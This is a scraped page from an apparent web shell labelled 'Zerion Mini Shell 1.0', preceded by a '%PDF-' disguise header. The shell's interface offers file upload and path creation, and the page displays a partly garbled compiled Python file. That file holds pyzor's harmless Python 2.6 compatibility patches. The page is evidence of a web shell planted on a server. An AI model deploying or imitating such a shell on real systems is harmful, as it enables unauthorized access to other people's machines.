%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python3.6/site-packages/pyzor/hacks/__pycache__/
Upload File :
Create Path :
Current File : //usr/lib/python3.6/site-packages/pyzor/hacks/__pycache__/py26.cpython-36.pyc

3

�2�^��@s,dZdddgZd	dd�Zdd�Zdd�ZdS)
zHacks for Python 2.6�hack_all�
hack_email�hack_selectTcCs|r
t�|rt�dS)zApply all Python 2.6 patches.N)rr)�email�select�r�/usr/lib/python3.6/py26.pyrscCsddl}t|d�s|j|_dS)z�The python2.6 version of email.message_from_string, doesn't work with
    unicode strings. And in python3 it will only work with a decoded.

    So switch to using only message_from_bytes.
    �N�message_from_bytes)r�hasattrZmessage_from_stringr	)rrrrrs
csTddl}|jddkrP|jddkrPddl�ddl��j����fdd�}|�_dS)z�The python2.6 version of SocketServer does not handle interrupt calls
    from signals. Patch the select call if necessary.
    rN���csNxHy�|�St�jfk
rD}z|jd�jkr4�WYdd}~XqXqWdS)z*restart a system call interrupted by EINTRrN)�OSError�error�argsZEINTR)rZex)�errno�real_selectrrr�_eintr_retry$sz!hack_select.<locals>._eintr_retry)�sys�version_inforr)rrr)rrrrrsN)TT)�__doc__�__all__rrrrrrr�<module>s



Zerion Mini Shell 1.0